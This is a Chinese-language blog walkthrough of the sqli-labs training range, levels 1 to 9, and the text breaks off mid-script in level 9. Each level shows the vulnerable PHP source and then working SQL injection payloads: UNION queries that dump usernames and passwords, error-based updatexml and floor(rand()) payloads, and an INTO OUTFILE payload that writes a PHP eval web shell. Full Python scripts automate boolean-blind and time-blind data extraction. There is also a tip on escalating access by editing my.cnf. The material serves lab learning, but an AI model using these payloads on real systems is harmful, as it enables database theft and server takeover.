参考文章 :作者:国光(大神偶像) 文章:《SQLI labs 靶场精简学习记录》
摘抄文章 :作者:ST0new (大佬) 文章:《sql-lab 通关Less1 -65(深入学习)》
项目地址:https://github.com/Audi-1/sqli-labs

我的环境为pte综合靶场(数据库系统为10.4.0-MariaDB,请综合参考)

游戏规则

刚开始玩 SQLI LAB ,我一开始不知道其目的是什么,怎么玩。简要说明一下吧,其目的是通过各种手动注入(sqlmap工具拿来检测就失去了本来的意义了),得到数据库中的敏感数据或全部数据。

基础挑战1~22

Less-1(基于错误的单引号字符串)

审计代码

源码

  1. <?php
  2. //include() 函数可获得指定文件中的所有文本,并把文本拷贝到使用 include 函数的文件中。
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // 获取参数
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //日志存储
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // mysql链接
  14. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo "<font size='5' color= '#99FF00'>";
  20. echo 'Your Login name:'. $row['username'];
  21. echo "<br>";
  22. echo 'Your Password:' .$row['password'];
  23. echo "</font>";
  24. }
  25. else
  26. {
  27. echo '<font color= "#FFFF00">';
  28. print_r(mysql_error());
  29. echo "</font>";
  30. }
  31. }
  32. else { echo "Please input the ID as parameter with numeric value";}
  33. ?>

关键代码审计

  1. # 单引号拼接,且
  2. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  3. # 支持联合、报错、布尔盲注、延时盲注
  4. if true:
  5. 输出查询内容
  6. else:
  7. print_r(mysql_error());

联合注入查询

需要自己将payload拼接在URL后。之后不再赘述。

细化版(也就是ST0new版之后不再赘述)

  1. - 正常访问
  2. url?id=1
  3. - 添加 '
  4. 返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1
  5. - 使用 1' order by 3 %23
  6. 得到列数为3
  7. - %23在url中编码为#
  8. - 使用union 获取admin和password
  9. - GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串(将多个值变为一个值返回)。
  10. -1 的作用是查询不存在的值,使得结果为空
  11. -1 ' union select 1,2,3 // 确定可以显示到页面的位置
  12. -1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
  13. -1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
  14. -1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
  15. -1 ' union select 1,username,password from users %23

细化版实现

  1. -1'+union+select+1,2,3%23 --注意:直接输入'#'并不能注释,输入'%23'才可以,'--+'也可以进行注释

image.png

可以看到2,3参数回显(注意,union注入回显的数据类型是一致的,例如name,password是char类型,那么union注入得到的数据也应该为char类型等。

(这里有一个比较疑惑的是:既然2,3 都可以回显,那么 group_concat(schema_name) from information_schema.schemata 查询语句可以在2的位置,也可以在3的位置,但是实际中,语句只能在3的位置。如果想让语句在2的位置,需改为”(select+group_concat(schema_name) from information_schema.schemata)”才可以,百思不得其解呀,希望那天被有缘的大佬看到,解释一波,嘿嘿)

按照语法注入找到表后进行union注入即可过关

  1. http://sqli.pte.com/Less-1/?id=-1%27+union+select+1,2,group_concat(username,password)+from+users--+

image.png

Less-2 (基于错误的get整型注入)

知识点

mysql的注释符一般有三种
— , 单行注释
# 单行注释
/**/ 多行注释
注意— 不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价,这就是为何我们注释符喜欢使用—+的原因

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo "<font size='5' color= '#99FF00'>";
  20. echo 'Your Login name:'. $row['username'];
  21. echo "<br>";
  22. echo 'Your Password:' .$row['password'];
  23. echo "</font>";
  24. }
  25. else
  26. {
  27. echo '<font color= "#FFFF00">';
  28. print_r(mysql_error());
  29. echo "</font>";
  30. }
  31. }
  32. else
  33. {
  34. echo "Please input the ID as parameter with numeric value";
  35. }
  36. ?>

关键代码审计

  1. # 无单引号拼接,所以直接$id后面的语句注释即可(和Less-1的区别是id=$id处)
  2. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  3. if true:
  4. 输出查询内容
  5. else:
  6. print_r(mysql_error());

联合注入查询(union注入)

  1. http://sqli.pte.com/Less-2/?id=-1+union+select+1,2,group_concat(username,password)+from+users--+

就是闭合方式不同,其他都一样,输入即可通关
图片.png

Less-3(基于错误的get单引号变形字符型注入)

知识点


这里普及一个知识点,如何不使用密码登录mysql,试想你拿到了一个用户的低权限账户,但是他对my.cnf 具有可写的权限,就可以通过修改my.cnf 进而登录数据库。如果数据库的存储方式可被允许,那么可以变像的提权。

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo "<font size='5' color= '#99FF00'>";
  20. echo 'Your Login name:'. $row['username'];
  21. echo "<br>";
  22. echo 'Your Password:' .$row['password'];
  23. echo "</font>";
  24. }
  25. else
  26. {
  27. echo '<font color= "#FFFF00">';
  28. print_r(mysql_error());
  29. echo "</font>";
  30. }
  31. }
  32. else { echo "Please input the ID as parameter with numeric value";}
  33. ?>

关键代码审计

  1. # 区别是id=$id处,需要将('')闭合成功即可,所以闭合方式为')
  2. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  3. if true:
  4. 输出查询内容
  5. else:
  6. print_r(mysql_error());

联合注入

  1. http://sqli.pte.com/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(username,password)+from+users--+

在 id=-1’) 处进行闭合
图片.png

Less-4(基于错误的GET双引号字符型注入)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $id = '"' . $id . '"';
  15. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  16. $result=mysql_query($sql);
  17. $row = mysql_fetch_array($result);
  18. if($row)
  19. {
  20. echo "<font size='5' color= '#99FF00'>";
  21. echo 'Your Login name:'. $row['username'];
  22. echo "<br>";
  23. echo 'Your Password:' .$row['password'];
  24. echo "</font>";
  25. }
  26. else
  27. {
  28. echo '<font color= "#FFFF00">';
  29. print_r(mysql_error());
  30. echo "</font>";
  31. }
  32. }
  33. else { echo "Please input the ID as parameter with numeric value";}
  34. ?>

关键代码审计

  1. # 先双引号 在括号拼接
  2. $id = '"' . $id . '"';
  3. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  4. #其实相当于语句
  5. $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
  6. if true:
  7. 输出查询内容
  8. else:
  9. print_r(mysql_error());0.

联合注入

  1. http://sqli.pte.com/Less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,password)+from+users%20--+

图片.png

Less-5(双注入GET单引号字符型注入)

知识点

报错注入:通过操作回显的报错信息来得到数据库中的数据

  1. as 别名
  2. 顺便说几个常见的:
  3. floor: 向下取整
  4. ceiling: 向上取整
  5. rand: 返回一个介于 0 1(不包括 0 1)之间的伪随机 float
  6. group by: GROUP BY必须得配合聚合函数来用,根据字段来分类
  7. - 使用
  8. select count(*) from [table] group by concat('~',([真正的查询语句]),'~'floor(rand(0)*2))
  9. select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
  10. - 原理
  11. 简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来

实例演示:

select concat(‘~’,(select database()),’~’) as a :
image.png

rand() :
image.png

floor(rand()*2) :
image.png

select concat(‘~’,(select database()),’~’,floor(rand()*2)) from users:
image.png
user表里有多少数据,就返回多少条

select count(), concat((select database()), floor(rand()2) as a from information_schema.schemata group by a
image.png
可以看到 floor(rand()2)的值是1的话没有报错,而floor(rand()2)为0时,在报错信息中出现了数据库的名称,假设存在报错回显则返回到了我们所看的页面中。

那么如果我们将 floor(rand()2) 改为 floor(rand(0)2) 则值就可以一直为0,则一直可以报错

审计代码

源码

  1. <?php
  2. //导入数据库参数
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo '<font size="5" color="#FFFF00">';
  20. echo 'You are in...........';
  21. echo "<br>";
  22. echo "</font>";
  23. }
  24. else
  25. {
  26. echo '<font size="3" color="#FFFF00">';
  27. print_r(mysql_error());
  28. echo "</br></font>";
  29. echo '<font color= "#0000ff" font size= 3>';
  30. }
  31. }
  32. else { echo "Please input the ID as parameter with numeric value";}
  33. ?>

关键代码审计

  1. # 单引号拼接,且
  2. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  3. # 支持联合、报错、布尔盲注、延时盲注
  4. if true:
  5. 输出('You are in...........'
  6. else:
  7. print_r(mysql_error());

双注入

原理有待补充
原理参考文章:https://www.jianshu.com/p/b502893dcc81

  1. -1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 获取 数据库 security 这里最好实用union all 这样,否则需要多次访问才能获取回复
  2. -1' union all select count(*),1,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 //获取表 users
  3. -1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 这里爆出了他三个字段,注意如果字段不存在也是返回you are in
  4. -1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 成功拿到 password username

拿到一个username和password
image.png

报错注入

上面的双注入研究麻了,这道题还可以运用updatexml()函数进行报错注入

  1. 爆数据库版本信息
  2. ?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
  3. 链接用户
  4. ?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
  5. 链接数据库
  6. ?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
  7. 爆表名
  8. ?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),1)--+
  9. 爆字段
  10. ?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'~'),1)--+
  11. ?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'~'),1)--+
  12. ?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),'~'),1)--+
  13. 爆字段内容
  14. ?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1)--+
  15. 或者联系上文
  16. ?id=-1' and updatexml(1,(select group_concat(username,password)+from+users),1)--+

image.png

Less-6 (双注入GET双引号字符型注入)

没有什么好说的,更改闭合方式即可直接看代码吧

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $id = '"'.$id.'"';
  15. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  16. $result=mysql_query($sql);
  17. $row = mysql_fetch_array($result);
  18. if($row)
  19. {
  20. echo '<font size="5" color="#FFFF00">';
  21. echo 'You are in...........';
  22. echo "<br>";
  23. echo "</font>";
  24. }
  25. else
  26. {
  27. echo '<font size="3" color= "#FFFF00">';
  28. print_r(mysql_error());
  29. echo "</br></font>";
  30. echo '<font color= "#0000ff" font size= 3>';
  31. }
  32. }
  33. else { echo "Please input the ID as parameter with numeric value";}
  34. ?>

关键代码审计

  1. # 双引号拼接,且
  2. $sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
  3. # 支持联合、报错、布尔盲注、延时盲注
  4. if true:
  5. 输出('You are in...........'
  6. else:
  7. print_r(mysql_error());

双注入

  1. -1" union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23

image.png
报错注入也一样,更改闭合方式即可

Less-7 (导出文件GET字符型注入)

知识点

  1. - 正常访问
  2. id=1
  3. You are in.... Use outfile......
  4. - 看来这题是要导出文件
  5. sqlmap 也可以执行相同的工作 这里就不解释了。
  6. 使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马
  7. 这里需要有两个已知项 1 字段值 2 绝对地址
  8. 并且 系统必须有可读可写,在服务器上,完整的路径,
  9. 导出命令: union select 1,2,3 into outfile "绝对地址" %23
  10. - paylaod
  11. // 一般web都存放在默认的目录下,比如:
  12. 1 c:/inetpub/wwwroot/
  13. 2 linuxnginx一般是/usr/local/nginx/html
  14. 3 /home/wwwroot/default
  15. 4 /usr/share/nginx
  16. 5 /var/www/html
  17. 然后 验证是否具有这几个条件
  18. 1 获取文件权限的可读
  19. 1')) and (select count(*) from mysql.user)>0 %23
  20. 2 注入文件
  21. 这里要求猜一下他的绝对路径
  22. id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
  23. 之后使用
  24. id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23
  25. 这里由于是使用docker,没有写成功

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo '<font color= "#FFFF00">';
  20. echo 'You are in.... Use outfile......';
  21. echo "<br>";
  22. echo "</font>";
  23. }
  24. else
  25. {
  26. echo '<font color= "#FFFF00">';
  27. echo 'You have an error in your SQL syntax';
  28. //print_r(mysql_error()); #注释掉了报错,所以不可用
  29. echo "</font>";
  30. }
  31. }
  32. else { echo "Please input the ID as parameter with numeric value";}
  33. ?>

关键代码审计

  1. # 双括号和单引号拼接
  2. $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  3. 抽象化
  4. if true:
  5. 输出('You are in...........'
  6. else:
  7. 输出 ("You have an error in your SQL syntax")
  8. //print_r(mysql_error())

文件导出注入

在输入Centos虚拟机的绝对路径后,注入失败了,有待研究

sqlmap布尔盲注

  1. sqlmap -u "url/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

Less-8 (布尔型单引号GET盲注)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo '<font size="5" color="#FFFF00">';
  20. echo 'You are in...........';
  21. echo "<br>";
  22. echo "</font>";
  23. }
  24. else
  25. {
  26. echo '<font size="5" color="#FFFF00">';
  27. //echo 'You are in...........';
  28. //print_r(mysql_error());
  29. //echo "You have an error in your SQL syntax";
  30. echo "</br></font>";
  31. echo '<font color= "#0000ff" font size= 3>';
  32. }
  33. }
  34. else { echo "Please input the ID as parameter with numeric value";}
  35. ?>

关键代码审计

  1. # 单引号拼接,且
  2. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  3. # 布尔盲注
  4. if true:
  5. 输出('You are in...........')
  6. else:
  7. 无输出

布尔盲注

手动注入还是很累的,这里用python代码或者用burpsuite也是能出的

  1. from urllib import request
  2. from urllib import parse
  3. import re
  4. url = "http://sqli.pte.com/Less-8/?id="
  5. #1 查数据库
  6. # def length():
  7. database_length = 0
  8. while True:
  9. param = "1' and length(database()) ="+str(database_length)+" #"
  10. response = request.urlopen(url+ parse.quote(param)).read().decode()
  11. if (re.search("You are in",response)):
  12. #print("DATABASE_LENGTH:"+str(database_length))
  13. break
  14. else:
  15. database_length += 1
  16. # db_name = ""
  17. # for l in range(database_length):
  18. # for a in range(128):
  19. # param = "1' and ascii(substr(database()," + str(l+1) + "))=" + str(a) + "#"
  20. # response = request.urlopen(url + parse.quote(param)).read().decode()
  21. # if (re.search("You are in",response)):
  22. # db_name += chr(a)
  23. # break
  24. # print("[*]:"+db_name)
  25. #尝试二分法扫描
  26. db_name = ""
  27. for l in range(database_length):
  28. a,b = 64,64
  29. while True:
  30. b = int(b/2)
  31. param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
  32. response = request.urlopen(url + parse.quote(param)).read().decode()
  33. if (re.search("You are in",response)):
  34. a -=b
  35. else:
  36. param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
  37. response = request.urlopen(url + parse.quote(param)).read().decode()
  38. if (re.search("You are in",response)):
  39. db_name += chr(a)
  40. break
  41. else:
  42. a +=b
  43. print("db_name:"+ db_name)
  44. print('table:')
  45. #2 查表数量
  46. table_num = 0
  47. while True:
  48. param = "1' and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
  49. response = request.urlopen(url + parse.quote(param)).read().decode()
  50. if (re.search("You are in",response)):
  51. #print("table_num:"+str(table_num))
  52. break
  53. else:
  54. table_num += 1
  55. # 查 表长度
  56. def ta_length(num):
  57. table_length = 0
  58. while True:
  59. param = "1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+" #"
  60. response = request.urlopen(url + parse.quote(param)).read().decode()
  61. if (re.search("You are in",response)):
  62. return table_length
  63. break
  64. else:
  65. table_length += 1
  66. # 查表
  67. for n in range(table_num):
  68. table_name =""
  69. for l in range(ta_length(n)): # 表的长度
  70. for a in range(0,128): #爆破表
  71. param = "1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
  72. response = request.urlopen(url + parse.quote(param)).read().decode()
  73. if (re.search("You are in", response)):
  74. table_name += chr(a)
  75. break
  76. print("[*]:" + table_name)
  77. # 3 查字段
  78. # 查字段个数
  79. columns_num = 0
  80. while True:
  81. param = "1' and (select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+" #"
  82. response = request.urlopen(url + parse.quote(param)).read().decode()
  83. if (re.search("You are in",response)):
  84. print("columns:"+str(columns_num))
  85. break
  86. else:
  87. columns_num += 1
  88. # 查每个字段的长度
  89. def co_length(num):
  90. columns_length = 0
  91. while True:
  92. param = "1' and length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+" #"
  93. response = request.urlopen(url + parse.quote(param)).read().decode()
  94. if (re.search("You are in",response)):
  95. #print(columns_length)
  96. return columns_length
  97. break
  98. else:
  99. columns_length += 1
  100. # 查每个字段的值
  101. for n in range(columns_num):
  102. columns_name =""
  103. for l in range(co_length(n)): # 表的长度
  104. for a in range(0,128): #爆破表
  105. param = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
  106. response = request.urlopen(url + parse.quote(param)).read().decode()
  107. if (re.search("You are in", response)):
  108. columns_name += chr(a)
  109. break
  110. print("[*]:" +columns_name)
  111. # 下载数据
  112. # 查 username
  113. num = 0
  114. while True:
  115. param = "1' and (select count(*) from users )= "+str(num)+"#"
  116. response = request.urlopen(url + parse.quote(param)).read().decode()
  117. if (re.search("You are in",response)):
  118. print("num:"+str(num))
  119. break
  120. else:
  121. num += 1
  122. def length(num):
  123. user_length = 0
  124. while True:
  125. param = "1' and length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+" #"
  126. response = request.urlopen(url + parse.quote(param)).read().decode()
  127. if (re.search("You are in",response)):
  128. #print(user_length)
  129. return user_length
  130. break
  131. else:
  132. user_length += 1
  133. def Name(value1,value2):
  134. for n in range(num):
  135. columns_name =""
  136. for l in range(length(n)): # 表的长度
  137. for a in range(0,128): #爆破表
  138. param = "1' and ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
  139. response = request.urlopen(url + parse.quote(param)).read().decode()
  140. if (re.search("You are in", response)):
  141. columns_name += chr(a)
  142. break
  143. print("[*]:" +columns_name,end=":")
  144. columns_name2 = ""
  145. for l in range(length(n)): # 表的长度
  146. for a in range(0, 128): # 爆破表
  147. param = "1' and ascii(substr((select " + value2 + " from users limit " + str(n) + ",1)," + str(
  148. l + 1) + ",1)) =" + str(a) + " #"
  149. response = request.urlopen(url + parse.quote(param)).read().decode()
  150. if (re.search("You are in", response)):
  151. columns_name2 += chr(a)
  152. break
  153. print(columns_name2)
  154. Name("username","password")

成功爆破出用户名和密码
image.png

Less-9 (基于时间的GET单引号盲注)

知识点

  1. - 相关函数
  2. 这一关需要用到一个if函数
  3. IF(expr1,expr2,expr3) :既可以作为表达式用,也可在存储过程中作为流程控制语句使用
  4. expr1 是判断条件 ,成立执行expr2 不成立执行 expr3
  5. 还有一个sleep(seconds) :执行延迟seconds

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  15. $result=mysql_query($sql);
  16. $row = mysql_fetch_array($result);
  17. if($row)
  18. {
  19. echo '<font size="5" color="#FFFF00">';
  20. echo 'You are in...........';
  21. echo "<br>";
  22. echo "</font>";
  23. }
  24. else
  25. {
  26. echo '<font size="5" color="#FFFF00">';
  27. echo 'You are in...........';
  28. //print_r(mysql_error());
  29. //echo "You have an error in your SQL syntax";
  30. echo "</br></font>";
  31. echo '<font color= "#0000ff" font size= 3>';
  32. }
  33. }
  34. else { echo "Please input the ID as parameter with numeric value";}
  35. ?>

关键代码审计

  1. # 单引号拼接,且
  2. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  3. # 延时盲注
  4. if true:
  5. 输出('You are in...........')
  6. else:
  7. 输出('You are in...........')

时间盲注

  1. from urllib import request
  2. from urllib import parse
  3. from time import time
  4. url = "http://sqli.pte.com/Less-9/?id="
  5. #1 查数据库
  6. database_length = 0
  7. while True:
  8. param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
  9. t = time()
  10. response = request.urlopen(url + parse.quote(param))
  11. if ( time() - t > 0.1 ):
  12. print("DATABASE_LENGTH:"+str(database_length))
  13. break
  14. else:
  15. database_length += 1
  16. db_name = ""
  17. for l in range(database_length):
  18. for a in range(128):
  19. param = "1' and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"
  20. t = time()
  21. response = request.urlopen(url + parse.quote(param))
  22. if (time()-t >0.1):
  23. db_name += chr(a)
  24. break
  25. print("[*]:"+db_name)
  26. '''
  27. #尝试二分法扫描
  28. db_name = ""
  29. for l in range(database_length):
  30. a,b = 64,64
  31. while True:
  32. b = int(b/2)
  33. param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
  34. response = request.urlopen(url + parse.quote(param)).read().decode()
  35. if (re.search("You are in",response)):
  36. a -=b
  37. else:
  38. param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
  39. response = request.urlopen(url + parse.quote(param)).read().decode()
  40. if (re.search("You are in",response)):
  41. db_name += chr(a)
  42. break
  43. else:
  44. a +=b
  45. print("db_name:"+ db_name)
  46. '''
  47. #2 查表数量
  48. table_num = 0
  49. while True:
  50. param = "1 ' and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"
  51. t = time()
  52. response = request.urlopen(url + parse.quote(param))
  53. if (time() - t > 0.1 ):
  54. print("table_num:"+str(table_num))
  55. break
  56. else:
  57. table_num += 1
  58. # 查 表长度
  59. def ta_length(num):
  60. table_length = 0
  61. while True:
  62. param = "1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"
  63. t = time()
  64. response = request.urlopen(url + parse.quote(param))
  65. if (time() - t > 0.1 ):
  66. return table_length
  67. break
  68. else:
  69. table_length += 1
  70. # 查表
  71. for n in range(table_num):
  72. table_name =""
  73. for l in range(ta_length(n)): # 表的长度
  74. for a in range(0,128): #爆破表
  75. param = "1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  76. t = time()
  77. response = request.urlopen(url + parse.quote(param))
  78. if (time() - t > 0.1 ):
  79. table_name += chr(a)
  80. break
  81. print("table_name:" + table_name)
  82. # 3 查字段
  83. # 查字段个数
  84. columns_num = 0
  85. while True:
  86. param = "1' and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"
  87. t = time()
  88. response = request.urlopen(url + parse.quote(param))
  89. if (time() - t > 0.1):
  90. print("columns_name:"+str(columns_num))
  91. break
  92. else:
  93. columns_num += 1
  94. # 查每个字段的长度
  95. def co_length(num):
  96. columns_length = 0
  97. while True:
  98. param = "1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"
  99. t = time()
  100. response = request.urlopen(url + parse.quote(param))
  101. if (time() - t > 0.1):
  102. return columns_length
  103. break
  104. else:
  105. columns_length += 1
  106. # 查每个字段的值
  107. for n in range(columns_num):
  108. columns_name =""
  109. for l in range(co_length(n)): # 表的长度
  110. for a in range(0,128): #爆破表
  111. param = "1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  112. t = time()
  113. response = request.urlopen(url + parse.quote(param))
  114. if (time() - t > 0.1):
  115. columns_name += chr(a)
  116. break
  117. print("table_name:" +columns_name)
  118. # 下载数据
  119. # 查 username
  120. num = 0
  121. while True:
  122. param = "1' and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"
  123. t = time()
  124. response = request.urlopen(url + parse.quote(param)).read().decode()
  125. if (time() - t > 0.1):
  126. print("num:"+str(num))
  127. break
  128. else:
  129. num += 1
  130. def length(num):
  131. user_length = 0
  132. while True:
  133. param = "1' and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"
  134. t = time()
  135. response = request.urlopen(url + parse.quote(param)).read().decode()
  136. if (time() - t > 0.1):
  137. #print(user_length)
  138. return user_length
  139. break
  140. else:
  141. user_length += 1
  142. def Name(value1,value2):
  143. for n in range(num):
  144. columns_name1 = columns_name2 = ""
  145. for l in range(length(n)): # 表的长度
  146. for a in range(0,128): #爆破表
  147. param = "1' and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  148. t = time()
  149. response = request.urlopen(url + parse.quote(param))
  150. if (time() - t > 0.1 ):
  151. columns_name1 += chr(a)
  152. break
  153. for a in range(0,128): #爆破表
